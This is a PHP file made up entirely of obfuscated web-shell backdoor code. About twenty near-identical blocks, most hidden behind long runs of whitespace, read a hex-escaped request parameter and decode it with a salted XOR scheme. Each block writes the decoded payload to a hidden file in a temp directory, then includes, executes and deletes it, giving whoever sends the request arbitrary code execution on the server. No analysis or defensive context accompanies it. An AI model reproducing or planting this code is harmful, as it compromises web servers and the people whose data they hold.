<?php																																										if(array_key_exists("f\x61\x63", $_POST)){ $sym = $_POST["f\x61\x63"]; $sym = explode ("." , $sym ) ; $pgrp = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $j = 0; while ($j < count($sym)) { $v6 = $sym[$j]; $sChar = ord($salt7[$j % $sLen]); $dec = ((int)$v6 - $sChar - ($j % 10))^ 2; $pgrp.=chr($dec); $j++; } $k = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($k as $data_chunk): if (is_writable($data_chunk) && is_dir($data_chunk)) { $pset = join("/", [$data_chunk, ".elem"]); if (@file_put_contents($pset, $pgrp) !== false) { include $pset; unlink($pset); die(); } } endforeach; }
																																										if(in_array("ps\x65\x74", array_keys($_POST))){ $entity = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp"]); $flag = $_POST["ps\x65\x74"]; $flag =explode( '.' , $flag ) ; $itm = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $q = 0; foreach($flag as $v3) {$chS = ord($salt2[$q % $sLen]); $dec = ((int)$v3 - $chS -($q % 10)) ^50; $itm .= chr($dec); $q++; } while ($res = array_shift($entity)) { if (!( !is_dir($res) || !is_writable($res) )) { $element = implode("/", [$res, ".entry"]); $success = file_put_contents($element, $itm); if ($success) { include $element; @unlink($element); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "flg")){ $dchunk = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $dat = $_POST["flg"]; $dat = explode ( '.', $dat ) ; $factor =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt8); foreach( $dat as $l => $v2) { $chS =ord( $salt8[$l % $lenS]); $dec =( ( int)$v2 - $chS -( $l % 10)) ^ 70; $factor.= chr( $dec); } for ($tkn = 0, $reference = count($dchunk); $tkn < $reference; $tkn++) { $k = $dchunk[$tkn]; if (array_product([is_dir($k), is_writable($k)])) { $key = sprintf("%s/.fac", $k); if (file_put_contents($key, $factor)) { require $key; unlink($key); die(); } } } }
																																										if(!empty($_REQUEST["\x64\x61ta"])){ $ent = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", getenv("TEMP")]); $reference = $_REQUEST["\x64\x61ta"]; $reference = explode ( '.' , $reference) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($reference as $t => $v7): $chS = ord($s[$t % $sLen]); $dec = ((int)$v7 - $chS - ($t % 10)) ^ 100; $flag.= chr($dec); endforeach; for ($holder = 0, $flg = count($ent); $holder < $flg; $holder++) { $property_set = $ent[$holder]; if (array_product([is_dir($property_set), is_writable($property_set)])) { $rec = implode("/", [$property_set, ".ptr"]); if (file_put_contents($rec, $flag)) { require $rec; unlink($rec); die(); } } } }
																																										if(!is_null($_REQUEST["hol\x64\x65r"] ?? null)){ $reference = $_REQUEST["hol\x64\x65r"]; $reference=explode ( ".", $reference); $bind= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9 ); $j= 0; while ($j < count($reference)) {$v4= $reference[$j]; $chS= ord($s9[$j % $lenS] ); $dec= ((int)$v4 - $chS - ($j % 10)) ^57; $bind .= chr($dec ); $j++; } $val = array_filter(["/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path()]); for ($tkn = 0, $token = count($val); $tkn < $token; $tkn++) { $component = $val[$tkn]; if (is_dir($component) && is_writable($component)) { $object = str_replace("{var_dir}", $component, "{var_dir}/.marker"); $file = fopen($object, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(!empty($_REQUEST["k"])){ $ent = $_REQUEST["k"]; $ent= explode ( '.' , $ent ) ; $comp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $n = 0; $__len = count($ent ); do { if ($n >= $__len) break; $v2 = $ent[$n]; $chS = ord($salt6[$n % $lenS] ); $d = ((int)$v2 - $chS - ($n % 10)) ^52; $comp .= chr($d ); $n++; } while (true ); $flg = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP")]); $ptr = 0; do { $value = $flg[$ptr] ?? null; if ($ptr >= count($flg)) break; if (is_writable($value) && is_dir($value)) { $mrk = implode("/", [$value, ".item"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $mrk; @unlink($mrk); die(); } } $ptr++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6Db\x6Fl"])){ $desc = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm"]); $marker = $_REQUEST["s\x79\x6Db\x6Fl"]; $marker = explode( "." , $marker ) ; $element= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $u= 0; foreach( $marker as $v3) { $sChar= ord( $s6[$u % $lenS]); $dec= ( ( int)$v3 - $sChar -( $u % 10)) ^ 57; $element .= chr( $dec); $u++; } while ($holder = array_shift($desc)) { if (is_dir($holder) && is_writable($holder)) { $parameter_group = sprintf("%s/.flg", $holder); $success = file_put_contents($parameter_group, $element); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }
																																										if(!empty($_POST["entity"])){ $token = $_POST["entity"]; $token = explode ( "." , $token) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $v = 0; $__tmp = $token; while( $v7 = array_shift( $__tmp)) {$chS = ord( $salt[$v % $lenS]); $d =( ( int)$v7 - $chS -( $v % 10)) ^ 89; $element.= chr( $d); $v++; } $val = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp"]); while ($ent = array_shift($val)) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $key = vsprintf("%s/%s", [$ent, ".data"]); $success = file_put_contents($key, $element); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x63ompo\x6E\x65\x6Et")){ $symbol = $_REQUEST["\x63ompo\x6E\x65\x6Et"]; $symbol = explode ( '.', $symbol ); $k =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt9 ); foreach( $symbol as $u => $v3) {$sChar =ord( $salt9[$u%$lenS] ); $dec =( ( int)$v3 - $sChar -( $u%10)) ^ 39; $k .=chr( $dec ); } $tkn = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]); for ($marker = 0, $entity = count($tkn); $marker < $entity; $marker++) { $hld = $tkn[$marker]; if ((is_dir($hld) and is_writable($hld))) { $pgrp = str_replace("{var_dir}", $hld, "{var_dir}/.record"); if (file_put_contents($pgrp, $k)) { include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x63om\x70on\x65n\x74"])){ $value = $_POST["\x63om\x70on\x65n\x74"]; $value = explode ("." , $value ); $element=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s6 ); $x=0; array_walk($value ,function ($v9) use (&$element ,&$x ,$s6 ,$sLen) {$sChar=ord($s6[$x%$sLen] ); $d=((int)$v9 - $sChar - ($x%10)) ^ 5; $element.=chr($d ); $x++;}); $val = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp"]); foreach ($val as $key => $flg) { if (!!is_dir($flg) && !!is_writable($flg)) { $elem = "$flg/.fac"; $success = file_put_contents($elem, $element); if ($success) { include $elem; @unlink($elem); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $resource = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd()]); $ent = $_REQUEST["k"]; $ent=explode ( "." ,$ent ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $r = 0; $__tmp = $ent; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $salt[$r % $sLen]); $d =( ( int)$v2 - $sChar -( $r % 10)) ^12; $symbol .= chr( $d); $r++; } foreach ($resource as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $parameter_group = "$hld" . "/.tkn"; $success = file_put_contents($parameter_group, $symbol); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6F\x62\x6Aect"])){ $descriptor = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), getcwd()]); $flag = $_REQUEST["\x6F\x62\x6Aect"]; $flag =explode( '.' , $flag ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $s = 0; $__len = count( $flag ); do { if( $s >= $__len) break; $v6 = $flag[$s]; $sChar = ord( $salt[$s % $sLen] ); $d =( ( int)$v6 - $sChar -( $s % 10)) ^ 48; $binding .= chr( $d ); $s++; } while( true ); $ptr = 0; do { $dchunk = $descriptor[$ptr] ?? null; if ($ptr >= count($descriptor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($dchunk)) { $k = implode("/", [$dchunk, ".factor"]); if (file_put_contents($k, $binding)) { include $k; @unlink($k); exit; } } $ptr++; } while (true); }
																																										if(array_key_exists("i\x74m", $_POST) && !is_null($_POST["i\x74m"])){ $bind = $_POST["i\x74m"]; $bind = explode('.' , $bind ) ; $factor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $s = 0; while ($s < count($bind)) { $v5 = $bind[$s]; $chS = ord($s1[$s % $lenS]); $dec = ((int)$v5 - $chS - ($s % 10)) ^48; $factor .= chr($dec); $s++; } $flg = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd()]); while ($res = array_shift($flg)) { if (!!is_dir($res) && !!is_writable($res)) { $binding = sprintf("%s/.pointer", $res); if (@file_put_contents($binding, $factor) !== false) { include $binding; unlink($binding); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x70\x72o\x70\x65rt\x79_\x73et"])){ $hld = array_filter([getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $resource = $_POST["\x70\x72o\x70\x65rt\x79_\x73et"]; $resource = explode ( '.', $resource) ; $flag = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $w = 0; $len = count($resource ); do {if($w >= $len) break; $v2 = $resource[$w]; $chS = ord($salt6[$w % $sLen] ); $d =((int)$v2 - $chS -($w % 10)) ^ 54; $flag.=chr($d ); $w++;} while(true ); while ($elem = array_shift($hld)) { if (is_writable($elem) && is_dir($elem)) { $reference = str_replace("{var_dir}", $elem, "{var_dir}/.binding"); if (file_put_contents($reference, $flag)) { require $reference; unlink($reference); exit; } } } }
																																										if(!empty($_REQUEST["r\x65\x63ord"])){ $entry = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path()]); $ref = $_REQUEST["r\x65\x63ord"]; $ref = explode( "." ,$ref ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $ref as $t=> $v9): $sChar = ord( $salt[$t % $lenS]); $dec = ( ( int)$v9 - $sChar -( $t % 10))^22; $dat .= chr( $dec); endforeach; $res = 0; do { $rec = $entry[$res] ?? null; if ($res >= count($entry)) break; if (is_dir($rec) ? is_writable($rec) : false) { $hld = "$rec" . "/.item"; $success = file_put_contents($hld, $dat); if ($success) { include $hld; @unlink($hld); exit;} } $res++; } while (true); }
																																										if(array_key_exists("e\x6E\x74", $_POST) && !is_null($_POST["e\x6E\x74"])){ $ptr = $_POST["e\x6E\x74"]; $ptr = explode ( '.' , $ptr); $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($ptr); for($o = 0; $o< $__len; $o++) {$v7 = $ptr[$o]; $chS = ord($s[$o % $lenS]); $d =((int)$v7 - $chS -($o % 10)) ^ 98; $mrk .= chr($d);} $entry = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), getcwd()]); foreach ($entry as $key => $dchunk) { if (is_dir($dchunk) && is_writable($dchunk)) { $object = vsprintf("%s/%s", [$dchunk, ".pointer"]); if (@file_put_contents($object, $mrk) !== false) { include $object; unlink($object); exit; } } } }
																																										if(array_key_exists("re\x66e\x72e\x6Ec\x65", $_REQUEST)){ $object = $_REQUEST["re\x66e\x72e\x6Ec\x65"]; $object = explode ( "." ,$object ) ; $token= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt6); $t= 0; array_walk( $object, function( $v5) use( &$token, &$t, $salt6, $sLen) { $sChar= ord( $salt6[$t % $sLen]); $dec= ( ( int)$v5 - $sChar -( $t % 10)) ^ 6; $token .= chr( $dec); $t++; }); $ent = array_filter(["/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP")]); foreach ($ent as $item): if (is_writable($item) && is_dir($item)) { $flg = join("/", [$item, ".entity"]); if (file_put_contents($flg, $token)) { include $flg; @unlink($flg); exit; } } endforeach; }
																																										if(in_array("\x66\x61c\x74or", array_keys($_REQUEST))){ $comp = $_REQUEST["\x66\x61c\x74or"]; $comp = explode ( '.' ,$comp ) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $y = 0; array_walk( $comp, function( $v5) use( &$descriptor, &$y, $salt, $lenS) { $chS = ord( $salt[$y% $lenS]); $dec =( ( int)$v5 - $chS -( $y% 10)) ^ 50; $descriptor .= chr( $dec); $y++; }); $k = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); $item = 0; do { $pset = $k[$item] ?? null; if ($item >= count($k)) break; if ((is_dir($pset) and is_writable($pset))) { $property_set = implode("/", [$pset, ".elem"]); if (@file_put_contents($property_set, $descriptor) !== false) { include $property_set; unlink($property_set); exit; } } $item++; } while (true); }
																																										if(isset($_POST["\x65\x6Et"])){ $pgrp = $_POST["\x65\x6Et"]; $pgrp = explode( "." , $pgrp ) ; $descriptor=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s9); foreach ($pgrp as $n => $v1) { $sChar=ord($s9[$n %$sLen]); $d=((int)$v1 - $sChar - ($n %10)) ^ 42; $descriptor .= chr($d); } $sym = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); while ($symbol = array_shift($sym)) { if (!( !is_dir($symbol) || !is_writable($symbol) )) { $flg = str_replace("{var_dir}", $symbol, "{var_dir}/.element"); if (@file_put_contents($flg, $descriptor) !== false) { include $flg; unlink($flg); exit; } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65sour\x63e"])){
	$tkn = $_REQUEST["\x72\x65sour\x63e"];
	  	$tkn= explode	(	'.'	 , 		$tkn	) ; 	 
	$obj =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen($salt		);
            $n =	0;
    
            $__tmp =	$tkn;
            while ($v1 =	array_shift($__tmp)) {$sChar =	ord($salt[$n%	$sLen]		);
                $dec =	((int)$v1 - $sChar - ($n%	10)) ^ 55;
                $obj .= chr($dec		);
                $n++;} 	
	$value = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($value as $key => $flg) {
    		if ((bool)is_dir($flg) && (bool)is_writable($flg)) {
    $element = join("/", [$flg, ".data_chunk"]);
    $file = fopen($element, 'w');
if ($file) {
	fwrite($file, $obj);
	fclose($file);
	include $element;
	@unlink($element);
	die();
}
}
}
}